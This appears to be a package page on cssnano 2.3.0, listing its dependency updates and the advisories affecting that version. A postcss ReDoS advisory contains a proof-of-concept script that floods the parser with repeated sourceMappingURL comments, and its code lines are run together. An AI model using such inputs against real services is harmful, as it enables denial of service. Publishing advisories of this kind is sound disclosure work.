Cssnano, a modular minifier built upon the PostCSS ecosystem, saw a version jump from 2.2.0 to 2.3.0 with several dependency updates that enhance its functionality and stability for developers optimizing CSS. Released on August 17, 2015, Version 2.3.0 builds upon the foundation of the previous stable version released just days before on August 12, showcasing rapid iteration.
Key dependency upgrades bring notable improvements. Postcss-colormin went from 1.2.4 to 1.2.5, postcss-font-family moved from 1.2.0 to 1.2.1, postcss-merge-rules advanced from 1.3.1 to 1.3.4, postcss-zindex was updated from 1.1.2 to 1.1.3, postcss-discard-empty progressed from 1.1.1 to 1.1.2, postcss-normalize-url was updated from 2.1.0 to 2.1.1 postcss-discard-comments went from 1.2.0 to 1.2.1 ,and postcss-minify-selectors saw an advancement from 1.4.5 to 1.4.6. Postcss-minify-trbl was removed as dependency. These incremental updates within these core modules likely address bug fixes, performance tweaks, and potentially introduce new minification strategies.
For developers, these changes translate to a more refined and robust CSS minification process. Cssnano continues to offer a modular approach, allowing developers to selectively use specific optimizations. The updates ensures better compatibility with evolving CSS standards and improved handling of various CSS constructs, leading to smaller file sizes and faster website loading times. Dependency updates ensure the library benefits from the latest PostCSS ecosystem advancements.
All the vulnerabilities related to the version 2.3.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Regular Expression Denial of Service (ReDOS)
In the npm package color-string, there is a ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for
linearly increasing input lengths for hwb() color strings.
Strings reaching more than 5000 characters would see several milliseconds of processing time; strings reaching more than 50,000 characters began seeing 1500ms (1.5s) of processing time.
The cause was due to a the regular expression that parses hwb() strings - specifically, the hue value - where the integer portion of the hue value used a 0-or-more quantifier shortly thereafter followed by a 1-or-more quantifier.
This caused excessive backtracking and a cartesian scan, resulting in exponential time complexity given a linear increase in input length.